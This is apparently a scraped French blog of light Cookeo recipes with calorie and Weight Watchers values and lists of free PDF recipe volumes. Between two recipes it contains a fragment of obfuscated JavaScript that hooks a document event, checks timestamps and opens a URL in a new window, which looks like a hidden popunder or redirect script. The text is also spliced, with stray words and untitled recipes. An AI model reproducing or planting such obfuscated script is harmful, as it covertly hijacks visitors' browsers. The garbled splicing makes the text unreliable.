Haricots verts jambon cru recette cookeo

220 CALORIES  5PP 3 SP

Ingrédients pour 4 personnes

800 g d’haricots verts congelés

100 g de jambon cru

100 g d’oignons congelés

2 cuillères à soupe d’huile d’olive

1 cube de bouillon de bœuf

200 ml d’eau

Sel

Poivre

Préparation

Coupez le jambon cru en morceaux

Mode dorer

Versez une cuillère à soupe d’huile d’olive dans la cuve.

Quand l’huile est chaude ajoutez les morceaux de jambon dans la cuve.

Ajoutez ensuite les oignons pour les faire dorer.

Ajoutez les haricots verts.

Versez 200 ml d’eau avec un cube de bouillon de bœuf émietté.

Salez et poivrez selon votre convenance.

Cuisson rapide ou sous pression

Programmez 5 mn

Servez chaud

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Blanquette poulet petit pois cookeo

260 CALORIES 6 PP 4 SP

Ingrédients pour 4 personnes

400 g d’escalopes de poulet

200 g de petits pois

100 g d’oignons congelés

200 g de crème fraîche allégée

200 ml d’eau

1 cube de bouillon de volaille

Sel

Poivre

2 cuillères à soupe d’huile d’olive

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Préparation

Coupez les escalopes de poulet en morceaux

Mode dorer

Versez l’huile d’olive dans la cuve, quand l’huile est chaude faites dorer les morceaux d’escalopes e poulet.

Ajoutez ensuite les morceaux d’oignons pour les faire dorer également.

Ajoutez les petits pois.

Versez les 200 ml d’eau avec un cube de bouillon de volaille émietté.

Salez et poivrez selon votre convenance

Cuisson rapide ou sous pression

Programmez 5 mn

Ajoutez la crème fraîche quand la cuisson est terminée. Mélangez.

Vous pouvez rajoutez une cuillère à soupe de maïzena si vous souhaitez une sauce plus épaisse

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Soupe tomates recette cookeo

100 CALORIES 2 PP 1 SP

Ingrédients pour 4 personnes

600 g de tomates

1 cube de bouillon de bœuf

600 ml  d’eau

1 oignon

2 cuillères à soupe d’huile d’olive

1 petite boite de concentré de tomates

Sel

Poivre

Préparation

Lavez et coupez les tomates en quartiers

Coupez l’oignon en morceaux

Mode dorer

Faites revenir les morceaux d’oignons dans la cuve avec l’huile d’olive

Ajoutez au bout de une minute les morceaux de tomates

Versez 600 ml d’eau avec un cube de bouillon de bœuf

Salez et poivrez

Cuisson rapide ou sous  pression

Programmez  5 mn

Mixer la préparation  puis ajoutez la boite de concentré de tomates

Servez chaud

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Recettes cookeo minceur vol 11

Voici le 11è volume , de recettes cookeo minceur .

Ces recettes sont chiffrées en Calories mais aussi en Smartpoints (programme liberté) et propoints  de la méthode weight watchers

Pour téléchargez le fichier PDF gratuitement cliquez SUR L’IMAGE ou ICI

 SOMMAIRE

Artichauts Moulinex 225 CALORIES 5PP 2SP.. 

Blanquette de saumon coco 380 CALORIES 8 PP 2 SP.. 

Boulgour à la tomate 360 CALORIES 7 PP 6 SP.. 

Bouillon de légumes 75 CALORIES 2 PP 1 SP.. 

Carottes aux oignons  80 CALORIES 2 PP 2 SP.. 

Carottes glacées 120 CALORIES 3 PP 4 SP..

Calamars à la tomate 260 CALORIES 6 PP 2 SP.. 

Champignons bourguignonne 110 CALORIES  3PP 2 SP.. 

Citrouille à l’orange 195 CALORIES 5 PP 4 SP.. 

Colin aux petites crevettes 190 CALORIES 4 PP 2 SP.. 

Côtes de porc tomates 230 CALORIES 5 PP 5 SP..

Encornets à la tomate 230 calories 5 PP 3 SP.. 

Filet mignon miel 310 CALORIES 8 PP 9 SP.. 

Filet mignon tomates 150 CALORIES 3 PP 4 SP.. 

Flan courgettes 130 CALORIES 3 PP 4 SP.. 

Haricots verts plats à la tomate 65 CALORIES 1 PP 0 SP.. 4

Harira aux légumes 160 CALORIES 3 PP 1 SP.. 

Potée chou vert sauté de porc 285 CALORIES 6 PP 6 SP.. 

Soupe potiron 180 CALORIES 3 PP 3 SP..

Steaks hachés haricots verts 266 CALORIES 8 PP 13 SP.. 

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200 recettes cookeo minceur vol 1 à 10

Vous trouverez dans cet article les 10 premiers volume de recettes cookeo minceur déjà publiés sur mon blog. 

Il s’agit de vous facilitez la tâche pour retrouvez rapidement ces recettes

Pour pouvoir téléchargez et atteindre les PDF gratuits il suffit de cliquez sur les images . Chaque image vous renvoit à un PDF de 20 recettes minceur cookeo.

D’autres PDF de recettes cookeo minceur sont en cours ,le volume 11  paraîtra bientôt.

Bonne navigation à toutes et à tous .

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20 recettes cookeo minceur vol 10

Voici le 10è volume , de recettes cookeo minceur .

Ces recettes sont chiffrées en Calories mais aussi en Smartpoints (programme liberté) et propoints  de la méthode 

weight watchers .

Pour téléchargez le fichier PDF gratuitement cliquez SUR L’IMAGE 

Aiguillettes poulet aux légumes 270 CALORIES 5 PP 4 SPX.

Blanquette de volaille express (Moulinex)160 CALORIES 3 PP 1 SP.

Bouillon aux lettres 70 CALORIES 1 PP 1 SP. 

Cabillaud au lait de coco 260 CALORIES 5 PP 1SP. 

Champignons grecque 180 CALORIES 5 PP 4 SP. 

Escalope moutarde 232 CALORIES 5 PP 4 SP.. 

Flan au crabe 242 CALORIES 6 PP 4 SP. 

Moules marinières 135 CAL 3 PP 2 SP..

Oreillons abricots vapeur 292 CALORIES 7 PP 13 SP..

Poireaux lardons Boursin 210 CALORIES 5 PP 8 SP.. 

Potage légumes 125 CALORIES 2 PP 1 SP.

Poulet Boursin 202 CALORIES 4 PP 2 SP.. 

Poulet aux champignons 300 calories 6 PP 3 SP. 

Poulet aux poivrons 206 CALORIES 4 PP 1 SP. 

Riz et carottes à l’indienne 220 CALORIES 5PP 5 SP.. 

Salade petits pois radis 180 CALORIES 4 PP 3 SP.

Salade saumon haricots 230 CALORIES 6 PP 5 SP. 

Soupe de gambas 240 CALORIES 5 PP 3 SP. 

Soupe aux nouilles 110 CALORIES 2 PP 1 SP.

Terrine thon tomates 200 CALORIES 4 PP 3 SPx.

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Poulet Boursin recette cookeo

202 CALORIES 4 PP 2 SP

Ingrédients pour 4 personnes

400 g d’escalopes de poulet

400 g de courgettes

100 g de Boursin

1 cube de bouillon de volaille

1 cuillère à soupe de moutarde

2 cuillères à soupe d’huile d’olive

200 ml d’eau

Sel

Poivre

Préparation

Coupez le poulet et les courgettes en morceaux

Mode dorer

Versez les 2 cuillères à soupe d’huile dans la cuve . Quand l’huile est chaude faite dorer les morceaux de poulet .

Ajoutez au bout de 2 mn les morceaux de courgettes.

Versez un bouillon composé de 200 ml d’eau et d’un cube de bouillon de volaille émietté.

Salez et poivrez selon votre convenance.

Cuisson rapide ou sous pression

Programmez 5 mn

Quand la cuisson est terminée ajoutez la cuillère à soupe de moutarde et le Boursin .

Mélangez et servez chaud

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Soupe tomates pommes recette cookeo

130 CALORIES 3 PP 2 SP

En ce qui me concerne je suis fan des soupes à la tomate. Mais de là à l’associer avec de la pomme je ne pensais pas que cela allait me surprendre agréablement . Oui j’ai aimé cette soupe de tomates aux pommes . J’espère que vous aimerez aussi.

Ingrédients pour 6 personnes

2 grosses boites de tomates pelées

Le jus d’un demi citron

1 oignon

2 cuillères à soupe d’huile d’olive

1 cuillère à café de sucre semoule

2 pommes

500 ml d’eau

Sel

Poivre

Préparation

Coupez les pommes en morceaux . Déposez les dans un bol .

Pressez le jus d’un demi citron et versez le sur les morceaux de pommes .

Pelez et coupez l’oignon en morceaux .

Mode dorer

Versez l’huile d’olive dans la cuve . Quand l’huile est chaude faites dorer les morceaux d’oignons 2 à 3 mn.

Ajoutez les tomates pelées.

Versez 500 ml d’eau.

Salez et poivrez selon votre convenance.

Ajoutez la cuillère de sucre .Mélangez.

Cuisson rapide ou sous pression

Programmez 2 mn

Quand la cuisson est terminée mixez l’ensemble de la préparation.

Servez aussitôt dans des bols ou des assiettes  à soupe  .

Parsemez de morceaux de pommes .

Et consommez chaud.

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Râgout saucisses carottes recette cookeo

Ingrédients pour 4 personnes :

400 g de saucisses de porc

1 oignon

400 g de carottes

200 g de pommes de terre

1 cube de bouillon de légumes

50 ml de vin blanc

150 ml d’eau

1 petite boite de concentré de tomates

4 cuillères à soupe de crème fraîche

sel, poivre

Préparation

Epluchez les pommes de terre et les carottes . Coupez les en morceaux

Coupez l’oignon en morceaux

Mode dorer

Déposez les saucisses coupées en morceaux .Faites revenir pendant 2mn ;

Ajoutez les morceaux d’oignons.

Ajoutez les morceaux de pommes de terre et de carottes.

Versez un bouillon composé de 50 ml de vin blanc ,150 ml d’eau et d’un cube de bouillon de volaille émietté.

Salez et poivrez selon votre convenance.

Cuisson rapide ou sous pression

Programmez 5 mn

Quand la cuisson est terminée ajoutez les cuillères de crème fraîche et la boite de concentré de tomates

Servez chaud

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185 CALORIES 4 PP 3 SP

Ingrédients pour 4 personnes

4 tranches de Jambon de pays

500 g de chou vert

200 g de carottes

4 pommes de terre

1 oignon

1 cube de bouillon de légumes

Quelques feuilles de persil

1 l d’eau

Sel

Poivre

Préparation

Coupez le jambon en morceaux

Coupez l’oignon en morceaux

Epluchez et coupez les carottes et les pommes de terre en morceaux.

Effeuillez le chou et coupez les en morceaux

Mode dorer

Faites dorer les morceaux de jambon puis ajoutez les oignons au bout de 2 mn .

Ajoutez les feuilles de chou ,les morceaux de pommes de terre et de carottes.

Versez un bouillon composé de 1l d’eau et d’un cube de bouillon de légumes émietté.

Salez et poivrez selon votre convenance

Cuisson rapide ou sous pression

Programmez 6 mn

Servez chaud

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260 calories 6 pp 7 SP

Ingrédients pour 4 personnes

4 escalopes de porc ou cotes de porc

2  citrons

100 g d’oignon congelés

1 cube de bouillon de volaille

200 g de champignons de Paris congelés

1 cuillère à soupe d’huile d’olive

1 cuillère à soupe de moutarde

4 cuillères à soupe de crème fraîche

Préparation

Mode dorer

Versez une cuillère à soupe d’huile d’olive dans la cuve du cookeo. Faites revenir les oignons et les escalopes de porc ou côtes de porc.

Ajoutez les champignons de Paris.

Pressez les citrons et versez le jus dans la préparation ainsi que  les 200 ml d’eau et le cube de bouillon de volaille

Cuisson rapide ou sous pression

Programmez 5 mn

En fin de cuisson ajoutez les 4 cuillères à soupe de crème fraîche et la cuillère à soupe de moutarde

Servez chaud  

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175 CALORIES 5 PP 6 SP

Ingrédients pour 6 personnes

1,5 kg de courgettes

200 g de crème fraîche

120 g de gruyère râpé

1 cube de bouillon de légumes

Sel

Poivre

Préparation

Lavez les courgettes et coupez-les en morceaux.

Déposez les morceaux de courgettes dans la cuve.

Versez 200 ml d’eau et un cube de bouillon de légumes émietté.

Faites préchauffer votre four à 180°

Cuisson rapide ou sous pression

 Programmez 7 m n

Quand la cuisson est terminée, égouttez les courgettes et placez les dans un plat qui va au four.

Ajoutez la crème fraîche et saupoudrez   de gruyère râpé.

Enfournez 20 mn à 180 ° puis 5 mn au grill

Servez chaud

poulet.
par exemple.




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155 CALORIES 3 PP 3 SP

Ingrédients pour 4 personnes

500 g de chou vert

300 g de pommes de terre

200 g de poireaux congelés ou frais

100 g de jambon de pays en tranche

1 cube de bouillon de bœuf

50 ml de vin blanc

350 ml d’eau

Sel

Poivre

Préparation

Effeuillez le chou vert, lavez et coupez les feuilles en morceaux.

Epluchez les pommes de terre et passez les sous l’eau et coupez-les en morceaux.

Lavez vos poireaux et coupez-les en rondelles si ce sont des poireaux frais.

Préparez un bouillon avec 350 ml d’eau ,50 ml de vin blanc et d’un cube de bouillon de bœuf émietté.

Mode dorer

Faites dorer les tranches de jambon de pays pendant 2 mn puis ajoutez les rondelles de poireaux, les morceaux de pommes de terre et les feuilles de chou vert coupées en morceaux.

Versez le bouillon composé de 50 ml de vin blanc ,350 ml d’eau et d’un cube de bouillon de bœuf.

Cuisson rapide ou sous pression

Programmez 10 mn

Salez et poivrez selon votre convenance

Servez chaud

par exemple.

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_0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());

Voici le 8è volume , de recettes cookeo minceur .Je pense que la série va continuer .

Ces recettes sont chiffrées en Calories mais aussi en Smartpoints (programme liberté) et propoints  de la méthode weight watchers .

Pour téléchargez le fichier PDF gratuitement cliquez SUR L’IMAGE 

Boeuf haché méditéranéen  215 CALORIES 5 PP 3 SP.. 2

Carottes Crème fraîche paprika 235 CALORIES 6 PP 4 SP.. 4

Champignons bourguignonne 110 3PP 2 SP.. 5

Crevettes curry coco 180 CALORIES 4 PP 3SP.. 6

Escalopes dinde Stroganoff 300 CALORIES 7 PP 5 SP.. 7

Filet mignon Boursin CALORIES 6 PP 6 SP.. 9

Escalope de poulet haricots verts 255 CALORIES 5 PP 3 SP.. 11

Fondue poireaux maison 80 CALORIES 2 PP 1 SP.. 12

Gratin fusillis poulet 200 CALORIES 4 PP 5 SP.. 13

Gratin carottes pommes de terre330 CALORIES 7 PP 7 SP.. 14

Gratin spaghettis jambon 260 CALORIES 6 PP 7 SP.. 16

Haricots beurre champignons persillade 100 CALORIES 2 PP 2 SP.. 17

Moules marinières 135 CALORIES 3 PP 2SP.. 20

Pâtes crème fraîche 150 CALORIES 3 PP 5 SP.. 22

Riz aux 3 légumes 180 CALORIES 4 PP 4 SP.. 23

Riz jambon poireaux 215 CALORIES 5 PP 7 SP.. 24

Rôti porc froid préparation 345 CALORIES 8 PP 10 SP.. 25

Salade riz asperges Boursin 165 CALORIES  4 PP 4 SP.. 26

Soupe pommes de terre carottes185 CALORIES 4 PP 3 SP.. 27

Soupe tomates pommes de terre 120 CALORIES    2 PP   3 SP.. 28